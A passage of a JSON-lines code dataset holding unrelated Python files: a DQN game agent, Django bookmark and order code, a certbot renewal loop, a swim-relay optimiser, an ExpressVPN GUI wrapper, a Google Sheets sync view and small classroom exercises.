(\"dimension:\",h_conv3_shape[1]*h_conv3_shape[2]*h_conv3_shape[3])\n h_conv3_flat = tf.reshape(h_conv3,[-1,3136])\n \n\n if self.duelDQN:\n print(\"############# duelDQN ############\")\n h_fc1_v = tf.nn.relu(tf.matmul(h_conv3_flat,W_fc1) + b_fc1)\n h_fc1_a = tf.nn.relu(tf.matmul(h_conv3_flat,W_fc1) + b_fc1)\n self.V = tf.matmul(h_fc1_v,w_v) + b_v\n self.A = tf.matmul(h_fc1_a,w_a)+ b_a\n QValue = self.V + (self.A - tf.reduce_mean(self.A, reduction_indices=1, keep_dims=True))\n return stateInput,QValue,W_conv1,b_conv1,W_conv2,b_conv2,W_conv3,b_conv3,W_fc1,b_fc1,W_fc2,b_fc2, w_v, b_v, w_a, b_a\n else:\n # Q Value layer\n h_fc1 = tf.nn.relu(tf.matmul(h_conv3_flat,W_fc1) + b_fc1)\n QValue = tf.matmul(h_fc1,W_fc2) + b_fc2 \n return stateInput,QValue,W_conv1,b_conv1,W_conv2,b_conv2,W_conv3,b_conv3,W_fc1,b_fc1,W_fc2,b_fc2\n \n\n def copyTargetQNetwork(self):\n self.session.run(self.copyTargetQNetworkOperation)\n\n def createTrainingMethod(self):\n self.actionInput = tf.placeholder(\"float\",[None,self.actions])\n self.yInput = tf.placeholder(\"float\", [None]) \n Q_Action = tf.reduce_sum(tf.multiply(self.QValue, self.actionInput), reduction_indices = 1)\n self.cost = tf.reduce_mean(tf.square(self.yInput - Q_Action))\n self.trainStep = tf.train.RMSPropOptimizer(0.00025,0.99,0.0,1e-6).minimize(self.cost)\n\n def trainQNetwork(self):\n\n \n # Step 1: obtain random minibatch from replay memory\n minibatch = random.sample(self.replayMemory,BATCH_SIZE)\n state_batch = [data[0] for data in minibatch]\n action_batch = [data[1] for data in minibatch]\n reward_batch = [data[2] for data in minibatch]\n nextState_batch = [data[3] for data in minibatch] # (32,84,84,4)\n\n # Step 2: calculate y\n if self.doubleDQN:\n y_batch = []\n QValue_batch_now = self.QValue.eval(feed_dict={self.stateInput:nextState_batch})\n QValue_batch = self.QValueT.eval(feed_dict={self.stateInputT:nextState_batch})\n for i in range(0,BATCH_SIZE):\n done = minibatch[i][4]\n if done:\n y_batch.append(reward_batch[i])\n else:\n double_q = QValue_batch[i][np.argmax(QValue_batch_now[i])]\n y_batch.append(reward_batch[i] + GAMMA * double_q)\n else:\n y_batch = []\n QValue_batch = self.QValueT.eval(feed_dict={self.stateInputT:nextState_batch})\n for i in range(0,BATCH_SIZE):\n done = minibatch[i][4]\n if done:\n y_batch.append(reward_batch[i])\n else:\n y_batch.append(reward_batch[i] + GAMMA * np.max(QValue_batch[i]))\n\n self.trainStep.run(feed_dict={\n self.yInput : y_batch,\n self.actionInput : action_batch,\n self.stateInput : state_batch\n })\n\n # save network every 100000 iteration\n if self.timeStep % 10000 == 0:\n if self.duelDQN:\n self.saver.save(self.session, './duel_save_model/tf_DQN', global_step = self.timeStep)\n else:\n self.saver.save(self.session, './save_model/tf_DQN', global_step = self.timeStep)\n\n if self.timeStep % UPDATE_TIME == 0:\n self.copyTargetQNetwork()\n\n def setPerception(self,current_state,action,reward,next_state,done):\n one_hot_action = np.zeros(self.actions)\n one_hot_action[action] = 1\n self.replayMemory.append((current_state,one_hot_action,reward,next_state,done))\n if len(self.replayMemory) > REPLAY_MEMORY:\n self.replayMemory.popleft()\n if len(self.replayMemory) > BATCH_SIZE:\n # skip frame\n if self.timeStep % 4 ==0:\n # Train the network\n self.trainQNetwork()\n self.timeStep += 1\n\n def make_action(self,observation, test=True):\n observation = observation.reshape((1,84,84,4))\n QValue = self.QValue.eval(feed_dict={self.stateInput:observation})[0]\n \n if random.random() <= self.epsilon and not test:\n action = random.randrange(self.actions)\n else:\n action = np.argmax(QValue)\n \n if test and random.random()>0.01:\n action = np.argmax(QValue)\n elif test:\n action = random.randrange(self.actions)\n\n if self.epsilon > FINAL_EPSILON and self.timeStep > OBSERVE:\n self.epsilon -= (INITIAL_EPSILON - FINAL_EPSILON) / EXPLORE\n \n return action\n def train(self):\n \"\"\"\n Implement your training algorithm here\n \"\"\"\n # self.env\n # action0 = [1,0,0,0] # do nothing\n # observation0, reward0, terminal, _ = self.env.step(np.argmax(action0))\n print(\"environment output shape:\",self.env.reset().shape)\n learning_history = []\n for e in range(NUM_EPISODES):\n observation = self.env.reset() # (84,84,4)\n step_count = 0\n total_reward = 0\n current_state = observation\n\n for s in range(MAX_NUM_STEPS):\n action = self.make_action(current_state, test=False)\n next_state,reward, done, _ = self.env.step(action)\n \n self.setPerception(current_state,action,reward,next_state, done)\n current_state = next_state\n\n total_reward += reward\n step_count +=1 \n\n if done == True:\n if self.duelDQN:\n print(\"duelDQN \",\"episode:\", e, \" step_count:\",step_count,\" reward:\",total_reward,\" total time steps:\",self.timeStep)\n else:\n print(\"episode:\", e, \" step_count:\",step_count,\" reward:\",total_reward,\" total time steps:\",self.timeStep)\n learning_history.append((e,step_count,total_reward,self.timeStep))\n break\n if e % 1000 ==0:\n if self.duelDQN:\n np.save(\"duel_dqn_learning_history.npy\", np.array(learning_history))\n else:\n np.save(\"dqn_learning_history.npy\", np.array(learning_history))\n\n def weight_variable(self,shape):\n initial = tf.truncated_normal(shape, stddev = 0.01)\n return tf.Variable(initial)\n\n def bias_variable(self,shape):\n initial = tf.constant(0.01, shape = shape)\n return tf.Variable(initial)\n\n def conv2d(self,x, W, stride):\n return tf.nn.conv2d(x, W, strides = [1, stride, stride, 1], padding = \"VALID\")\n\n def max_pool_2x2(self,x):\n return tf.nn.max_pool(x, ksize = [1, 2, 2, 1], strides = [1, 2, 2, 1], padding = \"SAME\")\n\n \n","sub_path":"hw3/bonus/agent_dqn.py","file_name":"agent_dqn.py","file_ext":"py","file_size_in_byte":12797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"640591359","text":"from django.contrib.auth.models import User\nfrom django.db.models import Q, Count, Aggregate, CharField, Value, BooleanField, QuerySet\n\nfrom bookmarks.models import Bookmark, Tag\nfrom bookmarks.utils import unique\n\n\nclass Concat(Aggregate):\n function = 'GROUP_CONCAT'\n template = '%(function)s(%(distinct)s%(expressions)s)'\n\n def __init__(self, expression, distinct=False, **extra):\n super(Concat, self).__init__(\n expression,\n distinct='DISTINCT ' if distinct else '',\n output_field=CharField(),\n **extra)\n\n\ndef query_bookmarks(user: User, query_string: str) -> QuerySet:\n return _base_bookmarks_query(user, query_string) \\\n .filter(is_archived=False)\n\n\ndef query_archived_bookmarks(user: User, query_string: str) -> QuerySet:\n return _base_bookmarks_query(user, query_string) \\\n .filter(is_archived=True)\n\n\ndef _base_bookmarks_query(user: User, query_string: str) -> QuerySet:\n # Add aggregated tag info to bookmark instances\n query_set = Bookmark.objects \\\n .annotate(tag_count=Count('tags'),\n tag_string=Concat('tags__name'),\n tag_projection=Value(True, BooleanField()))\n\n # Filter for user\n query_set = query_set.filter(owner=user)\n\n # Split query into search terms and tags\n query = _parse_query_string(query_string)\n\n # Filter for search terms and tags\n for term in query['search_terms']:\n query_set = query_set.filter(\n Q(title__contains=term)\n | Q(description__contains=term)\n | Q(website_title__contains=term)\n | Q(website_description__contains=term)\n | Q(url__contains=term)\n )\n\n for tag_name in query['tag_names']:\n query_set = query_set.filter(\n tags__name__iexact=tag_name\n )\n\n # Sort by date added\n query_set = query_set.order_by('-date_added')\n\n return query_set\n\n\ndef query_bookmark_tags(user: User, query_string: str) -> QuerySet:\n bookmarks_query = query_bookmarks(user, query_string)\n\n query_set = Tag.objects.filter(bookmark__in=bookmarks_query)\n\n return query_set.distinct()\n\n\ndef query_archived_bookmark_tags(user: User, query_string: str) -> QuerySet:\n bookmarks_query = query_archived_bookmarks(user, query_string)\n\n query_set = Tag.objects.filter(bookmark__in=bookmarks_query)\n\n return query_set.distinct()\n\n\ndef get_user_tags(user: User):\n return Tag.objects.filter(owner=user).all()\n\n\ndef _parse_query_string(query_string):\n # Sanitize query params\n if not query_string:\n query_string = ''\n\n # Split query into search terms and tags\n keywords = query_string.strip().split(' ')\n keywords = [word for word in keywords if word]\n\n search_terms = [word for word in keywords if word[0] != '#']\n tag_names = [word[1:] for word in keywords if word[0] == '#']\n tag_names = unique(tag_names, str.lower)\n\n return {\n 'search_terms': search_terms,\n 'tag_names': tag_names,\n }\n","sub_path":"bookmarks/queries.py","file_name":"queries.py","file_ext":"py","file_size_in_byte":3014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"426242218","text":"x = input(\"Please enter a number:\")\n#convert the input into a number\nx = int(x)\n\nif x < 10:\n x = x + 10\nelif x < 100:\n x = x + 5\nelse:\n print(\"big number!\")\nprint(x)\n","sub_path":"inputExample-period4.py","file_name":"inputExample-period4.py","file_ext":"py","file_size_in_byte":175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"67090278","text":"scores = [90, 80, 70, 100, 60, 80]\ndef average(values, size):\n\ttotal = 0.0\n\tcounter = 0\n\t\t\n\twhile counter < size:\n\t\ttotal = total + values[counter]\n\t\tcounter = counter + 1\t\t\n\treturn total / size\n\nprint(average(scores, 6))","sub_path":"test1234.py","file_name":"test1234.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"589078290","text":"from django.shortcuts import render\nfrom .models import OrderItem\nfrom .forms import OrderCreateForm\nfrom cart.cart import Cart\nfrom cart.shipping import ShippingCart\nfrom cart.models import Shipping\n\ndef OrderCreate(request):\n cart = Cart(request)\n shipping_cart = ShippingCart(request)\n if request.method == 'POST':\n form = OrderCreateForm(request.POST)\n if form.is_valid():\n order = form.save()\n for item in cart:\n OrderItem.objects.create(order=order, product=item['product'],\n price=item['price'],\n quantity=item['quantity'])\n total_price = cart.get_total_price() + shipping_cart.get_total_price()\n order.total_price = total_price\n order.shipping = Shipping.objects.get(id=shipping_cart.shipping_cart['shipping']['id']).name\n order.save()\n cart.clear()\n return render(request, 'orders/created.html', {'order': order})\n\n form = OrderCreateForm()\n return render(request, 'orders/create.html', {'cart': cart,\n 'form': form})","sub_path":"orders/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"567344022","text":"#!/usr/bin/env python\nimport datetime\nimport logging\nimport os\nimport subprocess\nimport time\n\nlogger = logging.getLogger('certbot')\nlogger.addHandler(logging.StreamHandler())\nlogger.setLevel(logging.DEBUG)\n\nlogger.info(\"starting wait and renew at {}\".format(str(datetime.datetime.now())))\nFILENAME = './cert.lock'\nSLEEP_TIME = 600\n\n\ndef env(name, ensure=True):\n\tval = os.environ.get(name)\n\tif not val and ensure:\n\t\traise ValueError(\"Couldn't find {} in environment\".format(name))\n\treturn val\n\n\ndef parse_domains():\n\n\tdomain = env(\"DOMAIN\")\n\tsubdomain = env(\"SUBDOMAIN\")\n\tno_subdomain = env(\"NO_SUBDOMAIN\", ensure=False)\n\tone_offs = env(\"ONE_OFFS\", ensure=False)\n\tdomains = [d.strip() for d in domain.split(',')]\n\tsubdomains = [d.strip() for d in subdomain.split(',')]\n\n\tlogger.debug(\"parsed main domains {}\".format(domains))\n\tprefixed = [\"{}.{}\".format(_subdom, _dom) for _dom in domains for _subdom in subdomains]\n\tif no_subdomain:\n\t\tlogger.debug(\"including root domains\")\n\t\tdomains = domains + prefixed\n\telse:\n\t\tlogger.debug(\"setting only subdomains\")\n\t\tdomains = prefixed\n\n\tjoined = \",\".join(domains)\n\tif one_offs:\n\t\tlogger.debug(\"adding one offs to domains: {}\".format(one_offs))\n\t\tjoined += \",{}\".format(one_offs)\n\n\treturn joined\n\n\nwhile True:\n\tlogger.debug(\"checking lock\")\n\ttry:\n\t\tf = open(FILENAME, 'r')\n\t\tf.read()\n\t\tlogger.info(\"Cert is locked, sleeping {}\".format(SLEEP_TIME))\n\t\tf.close()\n\t\ttime.sleep(SLEEP_TIME)\n\texcept IOError:\n\t\tlogger.info(\"no lock file, renewing certs\")\n\t\tdomains = parse_domains()\n\t\tsubprocess.check_call(['./run.sh', domains])\n\t\tlogger.debug(\"certs renewed, locking\")\n\t\tf = open(FILENAME, 'w')\n\t\tf.write(str(datetime.datetime.now()))\n\t\tf.close()\n\t\tlogger.debug(\"locked\")\n","sub_path":"wait_and_renew.py","file_name":"wait_and_renew.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"290007138","text":"import pandas as pd \nimport pulp\nimport numpy as np\nfrom swimmer import SWIMMERS\nfrom swimmer import SwimmingRace\nfrom wrangle import ScoreSchema\n\n\nallEvents = [v.name for v in list(SwimmingRace)]\nindividualEvents = [v.name for v in list(SwimmingRace) if v.value < 13]\nrelayEvents = [v.name for v in list(SwimmingRace) if v.value >= 13]\nIMrelay = [v.name for v in list(SwimmingRace) if v.value >= 15]\n\nstrategySchema = pd.DataFrame(np.zeros(shape=(12, 18)), index=SWIMMERS, columns=allEvents)\nscoreSchema = ScoreSchema()\nprint(scoreSchema.schema)\nprint(scoreSchema.timeSchema)\n\n# PROBLEM\nmodel = pulp.LpProblem('Swimming score maximizing problem', pulp.LpMaximize)\n\n# creating all the variables\nswimmerStatus = pulp.LpVariable.dicts('swimmerStatus',\n ((swimmer, event) for swimmer in SWIMMERS for event in allEvents), cat='Binary')\nnumberOfRelays = pulp.LpVariable('numberOfRelays', lowBound=1, upBound=2, cat=pulp.LpInteger)\n\n# COST FUNCTION\nmodel += pulp.lpSum([swimmerStatus[(s, e)] * scoreSchema.schema.loc[s, e]\n for e in allEvents for s in SWIMMERS])\n\n# CONSTRAINTS\nfor swimmer in SWIMMERS:\n # individual constraint1: where the sum of a swimmer's individual events must not exceed 4\n model += pulp.lpSum([swimmerStatus[(swimmer, e)] for e in individualEvents]) <= 4\n # individual constraint2: where the sum of a swimmer's individual+relay events must not exceed 5\n model += pulp.lpSum([swimmerStatus[(swimmer, e)] for e in allEvents]) <= 5\n # relay constraint3: you cannot be in the IMRelay4P50 more than 1 time.\n model += pulp.lpSum([swimmerStatus[(swimmer, e)] for e in IMrelay]) <= 1\n\nfor e in individualEvents:\n # team constraint1: where the amount of swimmers per individual event per team must not exceed 4\n model += pulp.lpSum([swimmerStatus[(swimmer, e)] for swimmer in SWIMMERS]) <= 4\n\n\n# relay constraint1: there must be 4 or 8 people in each FRRelay4P50, and FRRelay4P100\nmodel += pulp.lpSum([swimmerStatus[(swimmer, 'FRRelay4P50')] for swimmer in SWIMMERS]) == 4 * numberOfRelays\nmodel += pulp.lpSum([swimmerStatus[(swimmer, 'FRRelay4P100')] for swimmer in SWIMMERS]) == 4 * numberOfRelays\n# relay constraint2: there must be 4 people for IMRelay4P50\nmodel += pulp.lpSum([swimmerStatus[(s, e)] for e in IMrelay for s in SWIMMERS]) == 4 * numberOfRelays\n# relay constraint4: IMRelay4P50 must be 4 people swimming different strokes\nfor stroke in IMrelay:\n model += pulp.lpSum([swimmerStatus[(s, stroke)] for s in SWIMMERS]) <= numberOfRelays\n\n\n# SOVLE\nmodel.solve()\nprint(pulp.LpStatus[model.status])\n# display results\noutput = []\nfor swimmer in SWIMMERS:\n row = []\n for s, e in swimmerStatus:\n if swimmer == s:\n row.append(swimmerStatus[(s, e)].varValue)\n else: \n continue\n output.append(row)\n\n\nOUTPUTDF = pd.DataFrame(output, index=SWIMMERS, columns=allEvents)\nprint(OUTPUTDF)\nprint(pulp.value(model.objective))\nOUTPUTDF.to_excel('data/schema.xlsx', sheet_name='bois_schema')\n","sub_path":"optimize.py","file_name":"optimize.py","file_ext":"py","file_size_in_byte":3020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"214595462","text":"#!/usr/bin/env python3\n\nimport sys\nfrom PyQt5 import QtCore,QtGui,QtWidgets\nfrom PyQt5.QtWidgets import QApplication\nimport mainwindow\nimport subprocess\nimport time\n\nclass Oxvpn(QtWidgets.QMainWindow, mainwindow.Ui_main_window):\n def __init__(self, parent=None):\n super(Oxvpn,self).__init__(parent)\n self.setupUi(self)\n self.auto_connect_box.setChecked(get_toggles('auto_connect'))\n self.network_lock_box.setChecked(get_toggles('network_lock'))\n self.notifications_box.setChecked(get_toggles('desktop_notifications'))\n self.ipv6_box.setChecked(get_toggles('disable_ipv6'))\n self.force_vpn_box.setChecked(get_toggles('force_vpn_dns'))\n self.diagnostics_box.setChecked(get_toggles('send_diagnostics'))\n self.serverlist = listservers()\n \n self.protocol_list = ['Auto','UDP','TCP']\n for i in self.protocol_list:\n self.protocol_combobox.addItem(i)\n \n self.codelist=[]\n for i in range(len(self.serverlist)-1):\n code = self.serverlist[i].split()\n self.codelist.append(code[0])\n location =\"\"\n self.server_list_box.insertItem(i,location.join(code[1:]))\n \n self.connect_button.clicked.connect(lambda: self.chooseserver(self.codelist,self.server_list_box.currentRow()))\n self.disconnect_button.clicked.connect(lambda:self.disconnect())\n self.status_label.setText(getstatus())\n self.protocol_combobox.setCurrentIndex(get_protocol())\n\n def connect(self,server = 'smart'):\n self.disconnect()\n set_prefs(self.network_lock_box.isChecked(),'network_lock')\n set_prefs(self.notifications_box.isChecked(),'desktop_notifications')\n set_prefs(self.auto_connect_box.isChecked(),'auto_connect')\n set_prefs(self.ipv6_box.isChecked(),'disable_ipv6')\n set_prefs(self.diagnostics_box.isChecked(),'send_diagnostics')\n set_prefs(self.force_vpn_box.isChecked(),'force_vpn_dns')\n subprocess.run(['expressvpn','protocol',self.protocol_list[self.protocol_combobox.currentIndex()]])\n subprocess.run(['expressvpn','connect',server])\n self.status_label.setText(getstatus())\n\n def chooseserver(self,list,index):\n choice = list[index]\n self.connect(choice)\n\n def disconnect(self):\n subprocess.run(['expressvpn','disconnect'])\n self.status_label.setText(getstatus())\n \ndef get_protocol():\n current_protocol = subprocess.run(['expressvpn','protocol'],capture_output=True,text=True)\n print(current_protocol.stdout)\n if current_protocol.stdout.strip() == 'auto':\n return 0\n elif current_protocol.stdout.strip() == 'udp':\n return 1\n elif current_protocol.stdout.strip() == 'tcp':\n return 2\n\n\n\ndef getstatus():\n status = subprocess.run(['expressvpn','status'],capture_output=True,text=True)\n statuslist = status.stdout.split()\n if statuslist[0] =='Not':\n return 'Not Connected'\n \n else:\n connection = \"\"\n print('Connected to ' + connection.join(statuslist[2:5]))\n return 'Connected to ' + connection.join(statuslist[2:5])\n\ndef listservers():\n servers = subprocess.run(['expressvpn','list','all'],capture_output=True,text=True)\n serverlist = servers.stdout.split('\\n')\n del serverlist[0:3]\n del serverlist[-3:-1]\n return serverlist\n\ndef set_prefs(toggle,checkbox):\n if toggle == True:\n subprocess.run(['expressvpn','preferences','set',checkbox,'on'])\n else:\n subprocess.run(['expressvpn','preferences','set',checkbox,'off'])\n\ndef get_toggles(toggle):\n status = subprocess.run(['expressvpn','preferences',toggle],capture_output=True,text=True)\n if status.stdout.split()[0] == 'default' or status.stdout.split()[0] == 'true' :\n status = True\n else:\n status = False\n return status\n \ndef main():\n app = QApplication(sys.argv)\n servicerunning = subprocess.run(['expressvpn','status'],capture_output=True,text=True)\n print(servicerunning.stderr)\n if 'Cannot' in servicerunning.stderr:\n print('express vpn service not started, Trying to start it now.')\n subprocess.run(['systemctl','start','expressvpn'])\n time.sleep(5) \n window = Oxvpn()\n window.show()\n app.exec_()\n \n \nif __name__ == '__main__':\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"535457941","text":"\"\"\"\nPacket object used to communicate between chat room server and clients.\n\nPacket content is stored as dictionary with key=tag, value=tag_value.\nString representation of packet:\n not_msg sender_host,sender_port sender tag:value tag:value ... \n is_msg sender_host,sender_port sender type target_user msg_content\n ------\n not_msg and is_msg are message flags. Messages may have spaces so the string\n must be parsed differently. type = public, private, broadcast, system.\n\nAuthor: Hyonjee Joo\n\"\"\"\n\nfrom collections import defaultdict\n\nclass Packet(object):\n def __init__(self, sender_host=None, sender_port=None, sender=None):\n self.sender_host = sender_host\n self.sender_port = str(sender_port)\n self.sender = sender\n self.content = defaultdict(lambda: \"\")\n self.is_msg = False\n \n def parse(self, string):\n fields = string.strip().split(\" \")\n self.sender_host, self.sender_port = fields[1].split(\",\") \n self.sender = fields[2]\n if fields[0] == \"is_msg\":\n self.is_msg = True\n self.content[\"type\"] = fields[3]\n self.content[\"to\"] = fields[4]\n self.content[\"message\"] = \" \".join(fields[5:])\n if fields[0] == \"not_msg\":\n for field in fields[3:]:\n tag, value = field.strip().split(\":\")\n self.content[tag] = value\n\n def to_string(self):\n if self.is_msg:\n result_string = \"is_msg \"\n result_string += self.sender_host + \",\" + self.sender_port + \" \"\n result_string += self.sender + \" \"\n result_string += self.content[\"type\"] + \" \"\n if self.content[\"to\"]:\n result_string += self.content[\"to\"] + \" \"\n result_string += self.content[\"message\"]\n else:\n result_string = \"not_msg \"\n result_string += self.sender_host + \",\" + self.sender_port\n result_string += \" \" + self.sender\n for tag in self.content:\n result_string += \" \" + tag + \":\" + self.content[tag]\n return result_string\n\n def create_msg(self, msg_type, message, to=None):\n self.is_msg = True\n self.content[\"type\"] = msg_type\n if to is not None:\n self.content[\"to\"] = to\n self.content[\"message\"] = message\n\n def add_fields(self, tag_value_tuple_list):\n for tag, value in tag_value_tuple_list:\n self.content[tag] = value\n\n def get_field(self, tag):\n return self.content[tag]\n\n def get_sender_addr(self):\n return (self.sender_host, int(self.sender_port))\n","sub_path":"packet.py","file_name":"packet.py","file_ext":"py","file_size_in_byte":2622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"188002990","text":"\"\"\"ESMValTool configuration.\"\"\"\nfrom ._config import (\n get_activity,\n get_institutes,\n get_project_config,\n get_extra_facets,\n load_config_developer,\n read_config_developer_file,\n read_config_user_file,\n)\nfrom ._diagnostics import DIAGNOSTICS, TAGS\nfrom ._logging import configure_logging\n\n__all__ = (\n 'read_config_user_file',\n 'read_config_developer_file',\n 'load_config_developer',\n 'get_extra_facets',\n 'get_project_config',\n 'get_institutes',\n 'get_activity',\n 'DIAGNOSTICS',\n 'TAGS',\n 'configure_logging',\n)\n","sub_path":"esmvalcore/_config/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"69622235","text":"#Document réalisé par :\n# Alexandre Parès\n#\n#Dernière version disponible sur le repo Github:\n#https://github.com/IAmFrench/ISN-TP3\n#\n#sous Licence CC BY-NC-ND 3.0:\n#https://creativecommons.org/licenses/by-nc-nd/3.0\n#\n#->Attribution\n#->Pas d'Utilisation Commerciale\n#->Pas de modifications\n#a faire vous m�me 24\nliste1=[0,2,4,6,8,10]\nliste2=[1,3,5,7,9,11]\nliste3=[]\nfor i in range (0,len(liste1)+1):\n liste3=liste3+liste1[i]+liste2[i]\nprint(liste3)\n\n#marche pas ;(\n","sub_path":"afvm-24.py","file_name":"afvm-24.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"589638713","text":"num = int(input())\nlist1 = []\nfor i in range(num*2):\n list1.append(input())\nfor j in range(0, len(list1) - 1, 2):\n list2 = []\n n = int(list1[j])\n list3 = list1[j + 1].split(\" \")\n m = 1\n for k in range(len(list3)):\n m *= int(list3[k])\n for p in range(len(list3)):\n list2.append(str(m//int(list3[p])))\n print(\" \".join(list2))","sub_path":"Code/CodeRecords/2468/60692/236681.py","file_name":"236681.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"617650429","text":"# Генерация мира\n\ndef first_generation(type, details, sid):\n # игроку выдается рандомный участок \n # первый выданный считается столицей\n # в столице ставится ГОРОД\n # выдается несколько ЮНИТОВ\n # рандомятся ДЕРЕВНИ\n starter_pack = {}\n starter_pack['test'] = {\n 'city': {\n 'playerId': 69,\n 'position': [14,88],\n 'name': 'Мухосранск',\n },\n }\n\n return True\n\ndef get_position(type):\n return False","sub_path":"game/world.py","file_name":"world.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"97945022","text":"from django.shortcuts import render\nfrom assg.models import employee\nimport gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\nfrom assg.models import employee\nfrom django_cron import CronJobBase, Schedule\nimport os\n\ndef index(request):\n sync()\n\n context_dict = {}\n\n emplyee_profile = employee.objects.all()\n context_dict['emplyee_profile'] = emplyee_profile\n\n return render(request, 'assg/index.html', context_dict)\n\ndef sync():\n\n scope = [\"https://spreadsheets.google.com/feeds\", 'https://www.googleapis.com/auth/spreadsheets',\n \"https://www.googleapis.com/auth/drive.file\", \"https://www.googleapis.com/auth/drive\"]\n\n DIRNAME = os.path.dirname(__file__)\n\n creds = ServiceAccountCredentials.from_json_keyfile_name(os.path.join(DIRNAME, 'google_api_key.json'), scope)\n client = gspread.authorize(creds)\n\n sheet = client.open_by_key(\"1soBzI8ovNdMDeRO4BZW8VhYC86am5KraTK-IT1BgieY\").sheet1\n data = sheet.get_all_records() # [{}, {}, {}, {}]\n\n excel_sheet = []\n for i in data:\n excel_sheet.append(i['Email address'])\n # print excel_sheet #[u'test@gmail.com', u'rt@gmail.com', u'ruhooo@gmail.com', u'XCV@gmail.com', u'aws@gmail.com', u'aps@gmail.com', u'uayvcyac@gmail.com']\n\n database = []\n emplyee_profiles = employee.objects.all()\n for employee_profile in emplyee_profiles:\n database.append(employee_profile.email_address)\n # print \"L\", database #['test@gmail.com', 'rt@gmail.com', 'ruhooo@gmail.com]\n\n records_to_be_deleted = []\n for i in database:\n if i not in excel_sheet:\n records_to_be_deleted.append(i)\n\n employee.objects.filter(email_address__in=records_to_be_deleted).delete()\n\n for i in data:\n S = employee()\n S.timestamp = data[0]['Timestamp']\n S.email_address = i['Email address']\n S.name = i['What is your name?']\n S.current_city = i['Your current city?']\n S.contact_number = i['Your contact number?']\n S.age = i['Your age?']\n S.current_or_last_employer = i[\n 'Please mention the name of your most recent company (current/ last employer).If you are a fresher, please mention NA']\n S.job_role = i['Whats your job role in your current/ last company?']\n S.current_or_last_CTC = i['What is your current/ last drawn CTC? If you are a fresher, please mention NA.']\n S.FIXED_component_CTC = i[\n 'What is/ was the FIXED component in your CTC? If you are a fresher, please mention NA.']\n S.work_experience = i['(IN MONTHS) What is your total work experience?']\n S.days_working_in_a_week = i['Are you comfortable working 6 days a week (with a weekday off)?']\n S.relocate_to_Mumbai = i[\n 'Are you willing to relocate to Mumbai? (This job role is for Mumbai location. If onboarded, you will be working from home initially, but once the current situation due to Covid settles down, you will have to relocate to Mumbai)']\n S.english_communication = i[\n 'On a scale of 1-10, How do you rate yourself on your verbal english communication skills']\n S.skills = i['Which of the following skills you have worked in (atleast 6 months)']\n S.previous_industries = i['Which of the following industries you have worked in?']\n S.post_sale_profile = i[\n 'What kind of profile would you like to work in after working in Sales/Business development?']\n S.select = i['Select the 3 factors out of the following that matter the most to you while selecting a job?']\n S.upload_resume = i['Please upload your latest resume']\n S.save()","sub_path":"assg/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"194649177","text":"# encoding=utf-8\n\"\"\"\nAuth: coco369\nEmail: 779598160@qq.com\n\nCreateTime: 2021/09/02\n\nDesc: fastspider核心代码, 周期循环爬虫cycle_spider\n\"\"\"\nfrom fastspider.core.base.cycle_base import CycleBase\nfrom fastspider.core.scheduler.scheduler import Scheduler\nfrom fastspider.db.mysql_db import MysqlDB\nfrom fastspider.db.redis_db import RedisDB\nfrom fastspider.utils import tools\nfrom fastspider.utils.logger import log\nfrom fastspider.settings import common\n\n\nclass CycleSpider(CycleBase, Scheduler):\n\n\tdef __init__(self, cycle_interval=1):\n\t\tsuper(Scheduler, self).__init__(self, cycle_interval=cycle_interval)\n\n\t\tself._mysql_db = MysqlDB()\n\t\tself._redis_db = RedisDB()\n\n\t\t# 间隔周期按 day 计算\n\t\tif self._cycle_interval > 1:\n\t\t\tself._data_format = \"%Y-%m-%d\"\n\t\telif self._cycle_interval < 1 and self._cycle_interval > 1 / 24:\n\t\t\tself._data_format = \"%Y-%m-%d %H\"\n\t\telse:\n\t\t\tself._data_format = \"%Y-%m-%d %H:%M\"\n\n\tdef run(self):\n\t\t\"\"\"\n\t\t\t启动爬虫\n\t\t\"\"\"\n\t\tif not self._parsers:\n\t\t\tself._parsers.append(self)\n\n\t\t# 创建任务表\n\t\tself.create_mission_record_table()\n\n\t\t# 开始启动\n\t\tself._start()\n\t\t# 判断是否结束\n\t\twhile True:\n\t\t\tif self.all_thread_is_done():\n\t\t\t\tself.all_thread_stop()\n\t\t\t\tbreak\n\n\t\t\ttools.sleep_time(1)\n\n\t# 清理redis表中的数据\n\n\tdef start_monitor_task(self):\n\t\t\"\"\"\n\t\t\t开启监控任务, 并记录任务的执行情况\n\t\t\"\"\"\n\t\tif not self._parsers:\n\t\t\tself._parsers.append(self)\n\n\t\tself.create_mission_record_table()\n\n\n\t\tlog.debug(\"开始下发任务\")\n\n\n\tdef create_mission_record_table(self):\n\t\tsql = f\"\"\"select table_name from information_schema.tables where table_name='{common.MYSQL_RECORD_TABLE}';\"\"\"\n\t\ttable = 